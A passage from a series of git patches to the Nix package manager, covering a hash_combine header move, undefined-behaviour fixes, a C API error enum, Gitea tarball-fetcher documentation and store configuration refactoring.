a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -216,6 +216,7 @@ headers = [config_h] + files( 'source-accessor.hh', 'source-path.hh', 'split.hh', + 'std-hash.hh', 'strings.hh', 'strings-inline.hh', 'suggestions.hh', diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh index 1e96b72e5..fc2288f74 100644 --- a/src/libutil/source-path.hh +++ b/src/libutil/source-path.hh @@ -8,8 +8,7 @@ #include "ref.hh" #include "canon-path.hh" #include "source-accessor.hh" - -#include // for boost::hash_combine +#include "std-hash.hh" namespace nix { diff --git a/src/libutil/std-hash.hh b/src/libutil/std-hash.hh new file mode 100644 index 000000000..c359d11ca --- /dev/null +++ b/src/libutil/std-hash.hh @@ -0,0 +1,24 @@ +#pragma once + +//!@file Hashing utilities for use with unordered_map, etc. (ie low level implementation logic, not domain logic like +//! Nix hashing) + +#include + +namespace nix { + +/** + * hash_combine() from Boost. Hash several hashable values together + * into a single hash. + */ +inline void hash_combine(std::size_t & seed) {} + +template +inline void hash_combine(std::size_t & seed, const T & v, Rest... rest) +{ + std::hash hasher; + seed ^= hasher(v) + 0x9e3779b9 + (seed << 6) + (seed >> 2); + hash_combine(seed, rest...); +} + +} // namespace nix diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 83b42a528..877d15279 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -375,18 +375,4 @@ inline std::string operator + (std::string_view s1, const char * s2) return s; } -/** - * hash_combine() from Boost. Hash several hashable values together - * into a single hash. - */ -inline void hash_combine(std::size_t & seed) { } - -template -inline void hash_combine(std::size_t & seed, const T & v, Rest... rest) -{ - std::hash hasher; - seed ^= hasher(v) + 0x9e3779b9 + (seed<<6) + (seed>>2); - hash_combine(seed, rest...); -} - } From 7dce07463429bb4a42a3b47a869f5eb488206c26 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 16 Jul 2024 22:43:04 +0200 Subject: [PATCH 1118/1251] tests/functional/lang: Avoid /usr/bin/env for sandbox --- tests/functional/lang.sh | 5 ++++- tests/functional/lang/eval-fail-derivation-name.postprocess | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) mode change 100755 => 100644 tests/functional/lang/eval-fail-derivation-name.postprocess diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index 5a8cefd13..46cf3f1fe 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -54,8 +54,11 @@ badExitCode=0 postprocess() { if [[ -e "lang/$1.postprocess" ]]; then ( + # We could allow arbitrary interpreters in .postprocess, but that + # just exposes us to the complexity of not having /usr/bin/env in + # the sandbox. So let's just hardcode bash for now. set -x; - "lang/$1.postprocess" "lang/$1" + bash "lang/$1.postprocess" "lang/$1" ) fi } diff --git a/tests/functional/lang/eval-fail-derivation-name.postprocess b/tests/functional/lang/eval-fail-derivation-name.postprocess old mode 100755 new mode 100644 index ab9fa5b5d..ffbc2b5d4 --- a/tests/functional/lang/eval-fail-derivation-name.postprocess +++ b/tests/functional/lang/eval-fail-derivation-name.postprocess @@ -1,4 +1,4 @@ -#!/usr/bin/env bash +# shellcheck shell=bash set -euo pipefail testcaseBasename=$1 From 0a1a116f4b2fd6840a61d8f85494cade6fd6a306 Mon Sep 17 00:00:00 2001 From: Philip Taron Date: Tue, 16 Jul 2024 13:51:52 -0700 Subject: [PATCH 1119/1251] builtins.genericClosure: fix documentation typo --- src/libexpr/primops.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 127823d49..5a373a43b 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -719,7 +719,7 @@ static RegisterPrimOp primop_genericClosure(PrimOp { .doc = R"( `builtins.genericClosure` iteratively computes the transitive closure over an arbitrary relation defined by a function. - It takes *attrset* with two attributes named `startSet` and `operator`, and returns a list of attrbute sets: + It takes *attrset* with two attributes named `startSet` and `operator`, and returns a list of attribute sets: - `startSet`: The initial list of attribute sets. From 5b6a21acc5a4c14e4d5f79bd256e667f8e01ae30 Mon Sep 17 00:00:00 2001 From: Las Safin Date: Tue, 16 Jul 2024 21:05:16 +0000 Subject: [PATCH 1120/1251] Avoid casting function pointer in libutil test support Casting function pointers seems to be almost always UB. See https://stackoverflow.com/questions/559581/casting-a-function-pointer-to-another-type Fixed by doing the casting of `void*` to `std::string*` inside the function instead. Caught by UBSan. --- tests/unit/libutil-support/tests/string_callback.cc | 5 +++-- tests/unit/libutil-support/tests/string_callback.hh | 5 ++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/tests/unit/libutil-support/tests/string_callback.cc b/tests/unit/libutil-support/tests/string_callback.cc index 2d0e0dad0..7a13bd4ff 100644 --- a/tests/unit/libutil-support/tests/string_callback.cc +++ b/tests/unit/libutil-support/tests/string_callback.cc @@ -2,9 +2,10 @@ namespace nix::testing { -void observe_string_cb(const char * start, unsigned int n, std::string * user_data) +void observe_string_cb(const char * start, unsigned int n, void * user_data) { - *user_data = std::string(start); + auto user_data_casted = reinterpret_cast(user_data); + *user_data_casted = std::string(start); } } diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh index a02ea3a1b..9a7e8d85d 100644 --- a/tests/unit/libutil-support/tests/string_callback.hh +++ b/tests/unit/libutil-support/tests/string_callback.hh @@ -3,14 +3,13 @@ namespace nix::testing { -void observe_string_cb(const char * start, unsigned int n, std::string * user_data); +void observe_string_cb(const char * start, unsigned int n, void * user_data); inline void * observe_string_cb_data(std::string & out) { return (void *) &out; }; -#define OBSERVE_STRING(str) \ - (nix_get_string_callback) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) +#define OBSERVE_STRING(str) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) } From a1f3f103bc1a618a83b51a97dd0fb0c2f66a6b41 Mon Sep 17 00:00:00 2001 From: Las Safin Date: Tue, 16 Jul 2024 21:38:19 +0000 Subject: [PATCH 1121/1251] Check if drv is initialized in DerivationGoal::waiteeDone It might not be set, in which case we shouldn't do anything. Surprisingly, this somehow did not cause segfaults before? Caught by UBSan. --- src/libstore/build/derivation-goal.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index 010f905d6..b809e3ffe 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -1569,7 +1569,7 @@ void DerivationGoal::waiteeDone(GoalPtr waitee, ExitCode result) { Goal::waiteeDone(waitee, result); - if (!useDerivation) return; + if (!useDerivation || !drv) return; auto & fullDrv = *dynamic_cast(drv.get()); auto * dg = dynamic_cast(&*waitee); From 9fae50ed4be6c7f8bd16ece9626709d78bb4b01c Mon Sep 17 00:00:00 2001 From: Silvan Mosberger Date: Wed, 17 Jul 2024 02:42:18 +0200 Subject: [PATCH 1122/1251] Add parser test for indented strings So that in the next commit we can see what changes about this test --- .../functional/lang/parse-okay-ind-string.exp | 1 + .../functional/lang/parse-okay-ind-string.nix | 31 +++++++++++++++++++ 2 files changed, 32 insertions(+) create mode 100644 tests/functional/lang/parse-okay-ind-string.exp create mode 100644 tests/functional/lang/parse-okay-ind-string.nix diff --git a/tests/functional/lang/parse-okay-ind-string.exp b/tests/functional/lang/parse-okay-ind-string.exp new file mode 100644 index 000000000..5f8d48688 --- /dev/null +++ b/tests/functional/lang/parse-okay-ind-string.exp @@ -0,0 +1 @@ +(let string = "str"; in [ (/some/path) ((/some/path)) (("" + /some/path)) ((/some/path + "\n end")) (string) ((string)) (("" + string)) ((string + "\n end")) ("") ("") ("end") ]) diff --git a/tests/functional/lang/parse-okay-ind-string.nix b/tests/functional/lang/parse-okay-ind-string.nix new file mode 100644 index 000000000..97c9de3cd --- /dev/null +++ b/tests/functional/lang/parse-okay-ind-string.nix @@ -0,0 +1,31 @@ +let + string = "str"; +in [ + /some/path + + ''${/some/path}'' + + '' + ${/some/path}'' + + ''${/some/path} + end'' + + string + + ''${string}'' + + '' + ${string}'' + + ''${string} + end'' + + '''' + + '' + '' + + '' + end'' +] From f5ebaea2775da9991c5f7258bf8059b1b5770bab Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Jul 2024 13:31:31 +0200 Subject: [PATCH 1123/1251] Simplify PosIdx::hash() In C++ we don't need to salt the hash. --- src/libexpr/pos-idx.hh | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/src/libexpr/pos-idx.hh b/src/libexpr/pos-idx.hh index f3ea3a2e5..2faa6b7fe 100644 --- a/src/libexpr/pos-idx.hh +++ b/src/libexpr/pos-idx.hh @@ -1,8 +1,7 @@ #pragma once #include - -#include "std-hash.hh" +#include namespace nix { @@ -43,9 +42,7 @@ public: size_t hash() const noexcept { - size_t h = 854125; - hash_combine(h, id); - return h; + return std::hash{}(id); } }; From ece334b53284c2718515d35a81862712c9df06df Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 14 Jul 2024 13:42:12 +0200 Subject: [PATCH 1124/1251] tests/functional/repl: Characterize side effecting print behavior Reported on matrix by aleksana: https://matrix.to/#/!VRULIdgoKmKPzJZzjj:nixos.org/$7wZp5lUDTd-_u6MYo8kWWcysjtqTiQqP8dLI0RDNVVM?via=nixos.org&via=matrix.org&via=nixos.dev --- .../repl/pretty-print-idempotent.expected | 33 +++++++++++++++++++ .../repl/pretty-print-idempotent.in | 9 +++++ .../repl/pretty-print-idempotent.nix | 19 +++++++++++ 3 files changed, 61 insertions(+) create mode 100644 tests/functional/repl/pretty-print-idempotent.expected create mode 100644 tests/functional/repl/pretty-print-idempotent.in create mode 100644 tests/functional/repl/pretty-print-idempotent.nix diff --git a/tests/functional/repl/pretty-print-idempotent.expected b/tests/functional/repl/pretty-print-idempotent.expected new file mode 100644 index 000000000..e74239564 --- /dev/null +++ b/tests/functional/repl/pretty-print-idempotent.expected @@ -0,0 +1,33 @@ +Nix +Type :? for help. +Added variables. + +{ + homepage = "https://example.com"; +} + +{ homepage = "https://example.com"; } + +{ + layerOne = { ... }; +} + +{ + layerOne = { ... }; +} + +[ + "https://example.com" +] + +[ "https://example.com" ] + +[ + [ ... ] +] + +[ + [ ... ] +] + + diff --git a/tests/functional/repl/pretty-print-idempotent.in b/tests/functional/repl/pretty-print-idempotent.in new file mode 100644 index 000000000..5f865316f --- /dev/null +++ b/tests/functional/repl/pretty-print-idempotent.in @@ -0,0 +1,9 @@ +:l pretty-print-idempotent.nix +oneDeep +oneDeep +twoDeep +twoDeep +oneDeepList +oneDeepList +twoDeepList +twoDeepList diff --git a/tests/functional/repl/pretty-print-idempotent.nix b/tests/functional/repl/pretty-print-idempotent.nix new file mode 100644 index 000000000..68929f387 --- /dev/null +++ b/tests/functional/repl/pretty-print-idempotent.nix @@ -0,0 +1,19 @@ +{ + oneDeep = { + homepage = "https://" + "example.com"; + }; + twoDeep = { + layerOne = { + homepage = "https://" + "example.com"; + }; + }; + + oneDeepList = [ + ("https://" + "example.com") + ]; + twoDeepList = [ + [ + ("https://" + "example.com") + ] + ]; +} From a0635a80b2c3bc89baffd64b1d91d7efa2d2fd3a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 14 Jul 2024 14:28:21 +0200 Subject: [PATCH 1125/1251] printAttrs: Force item before determining whether to print multi-line --- src/libexpr/print.cc | 6 ++++++ tests/functional/repl/pretty-print-idempotent.expected | 4 +--- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 2f377e588..6167abee8 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -299,6 +299,9 @@ private: output << ANSI_NORMAL; } + /** + * @note This may force items. + */ bool shouldPrettyPrintAttrs(AttrVec & v) { if (!options.shouldPrettyPrint() || v.empty()) { @@ -315,6 +318,9 @@ private: return true; } + // It is ok to force the item(s) here, because they will be printed anyway. + state.forceValue(*item, item->determinePos(noPos)); + // Pretty-print single-item attrsets only if they contain nested // structures. auto itemType = item->type(); diff --git a/tests/functional/repl/pretty-print-idempotent.expected b/tests/functional/repl/pretty-print-idempotent.expected index e74239564..949d7a0e6 100644 --- a/tests/functional/repl/pretty-print-idempotent.expected +++ b/tests/functional/repl/pretty-print-idempotent.expected @@ -2,9 +2,7 @@ Nix Type :? for help. Added variables. -{ - homepage = "https://example.com"; -} +{ homepage = "https://example.com"; } { homepage = "https://example.com"; } From da3eff60bc35763270f57c3cc17e613a19513709 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 14 Jul 2024 14:31:20 +0200 Subject: [PATCH 1126/1251] printList: Force item before determining whether to print multi-line --- src/libexpr/print.cc | 6 ++++++ tests/functional/repl/pretty-print-idempotent.expected | 4 +--- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 6167abee8..bc17d6bfe 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -377,6 +377,9 @@ private: } } + /** + * @note This may force items. + */ bool shouldPrettyPrintList(std::span list) { if (!options.shouldPrettyPrint() || list.empty()) { @@ -393,6 +396,9 @@ private: return true; } + // It is ok to force the item(s) here, because they will be printed anyway. + state.forceValue(*item, item->determinePos(noPos)); + // Pretty-print single-item lists only if they contain nested // structures. auto itemType = item->type(); diff --git a/tests/functional/repl/pretty-print-idempotent.expected b/tests/functional/repl/pretty-print-idempotent.expected index 949d7a0e6..f38b9b569 100644 --- a/tests/functional/repl/pretty-print-idempotent.expected +++ b/tests/functional/repl/pretty-print-idempotent.expected @@ -14,9 +14,7 @@ Added variables. layerOne = { ... }; } -[ - "https://example.com" -] +[ "https://example.com" ] [ "https://example.com" ] From 464e5925cb21150e3c94f31224efabd3c1e74237 Mon Sep 17 00:00:00 2001 From: Las Safin Date: Wed, 17 Jul 2024 13:10:01 +0100 Subject: [PATCH 1127/1251] Avoid accessing uninitialized settings in own init (#11117) The default value for the setting was evaluated by calling a method on the object _being currently constructed_, so we were using it before all fields were initialized. This has been fixed by making the called method static, and not using the previously used fields at all. But functionality hasn't changed! The fields were usually always zero (by chance?) anyway, meaning the conditional path was always taken. Thus the current logic has been kept, the code simplified, and UB removed. This was found with the helper of UBSan. --- src/libexpr/eval-settings.cc | 10 ++++------ src/libexpr/eval-settings.hh | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index e2151aa7f..eb5761638 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -56,7 +56,7 @@ EvalSettings::EvalSettings(bool & readOnlyMode, EvalSettings::LookupPathHooks lo builtinsAbortOnWarn = true; } -Strings EvalSettings::getDefaultNixPath() const +Strings EvalSettings::getDefaultNixPath() { Strings res; auto add = [&](const Path & p, const std::string & s = std::string()) { @@ -69,11 +69,9 @@ Strings EvalSettings::getDefaultNixPath() const } }; - if (!restrictEval && !pureEval) { - add(getNixDefExpr() + "/channels"); - add(rootChannelsDir() + "/nixpkgs", "nixpkgs"); - add(rootChannelsDir()); - } + add(getNixDefExpr() + "/channels"); + add(rootChannelsDir() + "/nixpkgs", "nixpkgs"); + add(rootChannelsDir()); return res; } diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index b915ba530..89a42caba 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -43,7 +43,7 @@ struct EvalSettings : Config bool & readOnlyMode; - Strings getDefaultNixPath() const; + static Strings getDefaultNixPath(); static bool isPseudoUrl(std::string_view s); From 87f8ff23fe68c597f2090d2c024e8336ba0d2f2d Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 17 Jul 2024 16:44:34 +0200 Subject: [PATCH 1128/1251] BasicClientConnection::handshake(): Don't send our version twice This was accidentally introduced in f71b4da0b3ed994f2bfc3764df6f524ebe72c4da. We didn't notice this because the version got interpreted by the daemon as the obsolete "CPU affinity will follow" field, and being non-zero, it would then read another integer for the ignored CPU affinity. --- src/libstore/worker-protocol-connection.cc | 1 - 1 file changed, 1 deletion(-) diff --git a/src/libstore/worker-protocol-connection.cc b/src/libstore/worker-protocol-connection.cc index 072bae8da..3a640051e 100644 --- a/src/libstore/worker-protocol-connection.cc +++ b/src/libstore/worker-protocol-connection.cc @@ -152,7 +152,6 @@ WorkerProto::BasicClientConnection::handshake(BufferedSink & to, Source & from, throw Error("Nix daemon protocol version not supported"); if (GET_PROTOCOL_MINOR(daemonVersion) < 10) throw Error("the Nix daemon version is too old"); - to << localVersion; return std::min(daemonVersion, localVersion); } From 83d585b423737591f865d905882122211995c308 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Jul 2024 15:19:17 +0200 Subject: [PATCH 1129/1251] C API: Make nix_err an enum This generally gives a better experience with bindings generators, possibly other tooling. A possible risk is that some generators may not represent unknown codes correctly. Rust bindgen by default generates suitable code: * a type alias nix_err = c_int * individual constants for the known enum values It does _not_ generate a closed type that can only hold the values that were known at code generation time. If this proves to be a problem, we could instead split the type: `typedef int nix_err;` for return values `enum nix_known_err` for code generation. This would complicate the interface, so let's not do it unless it is shown to be needed. --- src/libutil-c/nix_api_util.h | 76 +++++++++++++++++++----------------- 1 file changed, 40 insertions(+), 36 deletions(-) diff --git a/src/libutil-c/nix_api_util.h b/src/libutil-c/nix_api_util.h index e0ca04e69..ad6f32859 100644 --- a/src/libutil-c/nix_api_util.h +++ b/src/libutil-c/nix_api_util.h @@ -56,47 +56,51 @@ extern "C" { * - NIX_ERR_KEY: A key error occurred (-3) * - NIX_ERR_NIX_ERROR: A generic Nix error occurred (-4) */ -typedef int nix_err; +enum nix_err { -/** - * @brief No error occurred. - * - * This error code is returned when no error has occurred during the function - * execution. - */ -#define NIX_OK 0 + /** + * @brief No error occurred. + * + * This error code is returned when no error has occurred during the function + * execution. + */ + NIX_OK = 0, -/** - * @brief An unknown error occurred. - * - * This error code is returned when an unknown error occurred during the - * function execution. - */ -#define NIX_ERR_UNKNOWN -1 + /** + * @brief An unknown error occurred. + * + * This error code is returned when an unknown error occurred during the + * function execution. + */ + NIX_ERR_UNKNOWN = -1, -/** - * @brief An overflow error occurred. - * - * This error code is returned when an overflow error occurred during the - * function execution. - */ -#define NIX_ERR_OVERFLOW -2 + /** + * @brief An overflow error occurred. + * + * This error code is returned when an overflow error occurred during the + * function execution. + */ + NIX_ERR_OVERFLOW = -2, -/** - * @brief A key error occurred. - * - * This error code is returned when a key error occurred during the function - * execution. - */ -#define NIX_ERR_KEY -3 + /** + * @brief A key error occurred. + * + * This error code is returned when a key error occurred during the function + * execution. + */ + NIX_ERR_KEY = -3, -/** - * @brief A generic Nix error occurred. - * - * This error code is returned when a generic Nix error occurred during the - * function execution. - */ -#define NIX_ERR_NIX_ERROR -4 + /** + * @brief A generic Nix error occurred. + * + * This error code is returned when a generic Nix error occurred during the + * function execution. + */ + NIX_ERR_NIX_ERROR = -4, + +}; + +typedef enum nix_err nix_err; /** * @brief This object stores error state. From f0a1c130a1a5543d09baf731f59845f8cff45b9f Mon Sep 17 00:00:00 2001 From: RTUnreal <22859658+RTUnreal@users.noreply.github.com> Date: Wed, 17 Jul 2024 21:08:33 +0200 Subject: [PATCH 1130/1251] doc: add example usage for Gitea in tarball fetcher (#11116) Co-authored-by: Valentin Gagarin --- doc/manual/src/protocols/tarball-fetcher.md | 26 +++++++++++++++++++++ src/nix/flake.md | 2 ++ 2 files changed, 28 insertions(+) diff --git a/doc/manual/src/protocols/tarball-fetcher.md b/doc/manual/src/protocols/tarball-fetcher.md index 24ec7ae14..5cff05d66 100644 --- a/doc/manual/src/protocols/tarball-fetcher.md +++ b/doc/manual/src/protocols/tarball-fetcher.md @@ -41,4 +41,30 @@ Link: ///archive/.tar.gz +``` + +> **Example** +> +> +> ```nix +> # flake.nix +> { +> inputs = { +> foo.url = "https://gitea.example.org/some-person/some-flake/archive/main.tar.gz"; +> bar.url = "https://gitea.example.org/some-other-person/other-flake/archive/442793d9ec0584f6a6e82fa253850c8085bb150a.tar.gz"; +> qux = { +> url = "https://forgejo.example.org/another-person/some-non-flake-repo/archive/development.tar.gz"; +> flake = false; +> }; +> }; +> outputs = { foo, bar, qux }: { /* ... */ }; +> } +``` + [Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive diff --git a/src/nix/flake.md b/src/nix/flake.md index 2f43d0264..46d5a3867 100644 --- a/src/nix/flake.md +++ b/src/nix/flake.md @@ -259,6 +259,8 @@ Currently the `type` attribute can be one of the following: `.tgz`, `.tar.gz`, `.tar.xz`, `.tar.bz2` or `.tar.zst`), then the `tarball+` can be dropped. + This can also be used to set the location of gitea/forgejo branches. [See here](@docroot@/protocols/tarball-fetcher.md#gitea-and-forgejo-support) + * `file`: Plain files or directory tarballs, either over http(s) or from the local disk. From 57399bfc0e438d699700c6a4f2b6b63b157bcd2a Mon Sep 17 00:00:00 2001 From: Farid Zakaria Date: Wed, 17 Jul 2024 23:32:27 -0400 Subject: [PATCH 1131/1251] Refactor unix domain socket store config (#11109) Following what is outlined in #10766 refactor the uds-remote-store such that the member variables (state) don't live in the store itself but in the config object. Additionally, the config object includes a new necessary constructor that takes a scheme & authority. Tests are commented out because of linking errors with the current config system. When there is a new config system we can reenable them. Co-authored-by: John Ericson --- src/libstore/dummy-store.cc | 20 ++-- src/libstore/http-binary-cache-store.cc | 50 +++++----- src/libstore/http-binary-cache-store.hh | 21 +++++ src/libstore/local-binary-cache-store.cc | 36 ++++--- src/libstore/local-binary-cache-store.hh | 21 +++++ src/libstore/local-fs-store.cc | 14 +++ src/libstore/local-fs-store.hh | 9 ++ src/libstore/local-overlay-store.cc | 6 +- src/libstore/local-overlay-store.hh | 21 +++-- src/libstore/local-store.cc | 33 +++---- src/libstore/local-store.hh | 5 + src/libstore/meson.build | 2 + src/libstore/s3-binary-cache-store.cc | 94 +++++-------------- src/libstore/s3-binary-cache-store.hh | 90 ++++++++++++++++++ src/libstore/ssh-store.cc | 55 +++++------ src/libstore/ssh-store.hh | 23 +++++ src/libstore/uds-remote-store.cc | 54 ++++++----- src/libstore/uds-remote-store.hh | 41 ++++++-- .../unit/libstore/http-binary-cache-store.cc | 21 +++++ .../unit/libstore/local-binary-cache-store.cc | 14 +++ tests/unit/libstore/local-overlay-store.cc | 34 +++++++ tests/unit/libstore/local-store.cc | 40 ++++++++ tests/unit/libstore/meson.build | 6 ++ tests/unit/libstore/s3-binary-cache-store.cc | 18 ++++ tests/unit/libstore/ssh-store.cc | 35 ++++++- tests/unit/libstore/uds-remote-store.cc | 23 +++++ 26 files changed, 571 insertions(+), 215 deletions(-) create mode 100644 src/libstore/http-binary-cache-store.hh create mode 100644 src/libstore/local-binary-cache-store.hh create mode 100644 tests/unit/libstore/http-binary-cache-store.cc create mode 100644 tests/unit/libstore/local-binary-cache-store.cc create mode 100644 tests/unit/libstore/local-overlay-store.cc create mode 100644 tests/unit/libstore/local-store.cc create mode 100644 tests/unit/libstore/s3-binary-cache-store.cc create mode 100644 tests/unit/libstore/uds-remote-store.cc diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc index 17ebaace6..af0dd9092 100644 --- a/src/libstore/dummy-store.cc +++ b/src/libstore/dummy-store.cc @@ -6,6 +6,13 @@ namespace nix { struct DummyStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; + DummyStoreConfig(std::string_view scheme, std::string_view authority, const Params & params) + : StoreConfig(params) + { + if (!authority.empty()) + throw UsageError("`%s` store URIs must not contain an authority part %s", scheme, authority); + } + const std::string name() override { return "Dummy Store"; } std::string doc() override @@ -19,16 +26,13 @@ struct DummyStoreConfig : virtual StoreConfig { struct DummyStore : public virtual DummyStoreConfig, public virtual Store { DummyStore(std::string_view scheme, std::string_view authority, const Params & params) - : DummyStore(params) - { - if (!authority.empty()) - throw UsageError("`%s` store URIs must not contain an authority part %s", scheme, authority); - } + : StoreConfig(params) + , DummyStoreConfig(scheme, authority, params) + , Store(params) + { } DummyStore(const Params & params) - : StoreConfig(params) - , DummyStoreConfig(params) - , Store(params) + : DummyStore("dummy", "", params) { } std::string getUri() override diff --git a/src/libstore/http-binary-cache-store.cc b/src/libstore/http-binary-cache-store.cc index 3328caef9..49ec26b9f 100644 --- a/src/libstore/http-binary-cache-store.cc +++ b/src/libstore/http-binary-cache-store.cc @@ -1,4 +1,4 @@ -#include "binary-cache-store.hh" +#include "http-binary-cache-store.hh" #include "filetransfer.hh" #include "globals.hh" #include "nar-info-disk-cache.hh" @@ -8,26 +8,37 @@ namespace nix { MakeError(UploadToHTTP, Error); -struct HttpBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig + +HttpBinaryCacheStoreConfig::HttpBinaryCacheStoreConfig( + std::string_view scheme, + std::string_view _cacheUri, + const Params & params) + : StoreConfig(params) + , BinaryCacheStoreConfig(params) + , cacheUri( + std::string { scheme } + + "://" + + (!_cacheUri.empty() + ? _cacheUri + : throw UsageError("`%s` Store requires a non-empty authority in Store URL", scheme))) { - using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + while (!cacheUri.empty() && cacheUri.back() == '/') + cacheUri.pop_back(); +} - const std::string name() override { return "HTTP Binary Cache Store"; } - std::string doc() override - { - return - #include "http-binary-cache-store.md" - ; - } -}; +std::string HttpBinaryCacheStoreConfig::doc() +{ + return + #include "http-binary-cache-store.md" + ; +} + class HttpBinaryCacheStore : public virtual HttpBinaryCacheStoreConfig, public virtual BinaryCacheStore { private: - Path cacheUri; - struct State { bool enabled = true; @@ -40,23 +51,14 @@ public: HttpBinaryCacheStore( std::string_view scheme, - PathView _cacheUri, + PathView cacheUri, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) - , HttpBinaryCacheStoreConfig(params) + , HttpBinaryCacheStoreConfig(scheme, cacheUri, params) , Store(params) , BinaryCacheStore(params) - , cacheUri( - std::string { scheme } - + "://" - + (!_cacheUri.empty() - ? _cacheUri - : throw UsageError("`%s` Store requires a non-empty authority in Store URL", scheme))) { - while (!cacheUri.empty() && cacheUri.back() == '/') - cacheUri.pop_back(); - diskCache = getNarInfoDiskCache(); } diff --git a/src/libstore/http-binary-cache-store.hh b/src/libstore/http-binary-cache-store.hh new file mode 100644 index 000000000..230e52b33 --- /dev/null +++ b/src/libstore/http-binary-cache-store.hh @@ -0,0 +1,21 @@ +#include "binary-cache-store.hh" + +namespace nix { + +struct HttpBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +{ + using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + + HttpBinaryCacheStoreConfig(std::string_view scheme, std::string_view _cacheUri, const Params & params); + + Path cacheUri; + + const std::string name() override + { + return "HTTP Binary Cache Store"; + } + + std::string doc() override; +}; + +} diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index aa2efdb8f..106663132 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -1,4 +1,4 @@ -#include "binary-cache-store.hh" +#include "local-binary-cache-store.hh" #include "globals.hh" #include "nar-info-disk-cache.hh" #include "signals.hh" @@ -7,28 +7,27 @@ namespace nix { -struct LocalBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +LocalBinaryCacheStoreConfig::LocalBinaryCacheStoreConfig( + std::string_view scheme, + PathView binaryCacheDir, + const Params & params) + : StoreConfig(params) + , BinaryCacheStoreConfig(params) + , binaryCacheDir(binaryCacheDir) { - using BinaryCacheStoreConfig::BinaryCacheStoreConfig; +} - const std::string name() override { return "Local Binary Cache Store"; } - std::string doc() override - { - return - #include "local-binary-cache-store.md" - ; - } -}; - -class LocalBinaryCacheStore : public virtual LocalBinaryCacheStoreConfig, public virtual BinaryCacheStore +std::string LocalBinaryCacheStoreConfig::doc() { -private: + return + #include "local-binary-cache-store.md" + ; +} - Path binaryCacheDir; - -public: +struct LocalBinaryCacheStore : virtual LocalBinaryCacheStoreConfig, virtual BinaryCacheStore +{ /** * @param binaryCacheDir `file://` is a short-hand for `file:///` * for now. @@ -39,10 +38,9 @@ public: const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) - , LocalBinaryCacheStoreConfig(params) + , LocalBinaryCacheStoreConfig(scheme, binaryCacheDir, params) , Store(params) , BinaryCacheStore(params) - , binaryCacheDir(binaryCacheDir) { } diff --git a/src/libstore/local-binary-cache-store.hh b/src/libstore/local-binary-cache-store.hh new file mode 100644 index 000000000..7701eb38b --- /dev/null +++ b/src/libstore/local-binary-cache-store.hh @@ -0,0 +1,21 @@ +#include "binary-cache-store.hh" + +namespace nix { + +struct LocalBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +{ + using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + + LocalBinaryCacheStoreConfig(std::string_view scheme, PathView binaryCacheDir, const Params & params); + + Path binaryCacheDir; + + const std::string name() override + { + return "Local Binary Cache Store"; + } + + std::string doc() override; +}; + +} diff --git a/src/libstore/local-fs-store.cc b/src/libstore/local-fs-store.cc index 843c0d288..5449b20eb 100644 --- a/src/libstore/local-fs-store.cc +++ b/src/libstore/local-fs-store.cc @@ -8,6 +8,20 @@ namespace nix { +LocalFSStoreConfig::LocalFSStoreConfig(PathView rootDir, const Params & params) + : StoreConfig(params) + // Default `?root` from `rootDir` if non set + // FIXME don't duplicate description once we don't have root setting + , rootDir{ + this, + !rootDir.empty() && params.count("root") == 0 + ? (std::optional{rootDir}) + : std::nullopt, + "root", + "Directory prefixed to all other paths."} +{ +} + LocalFSStore::LocalFSStore(const Params & params) : Store(params) { diff --git a/src/libstore/local-fs-store.hh 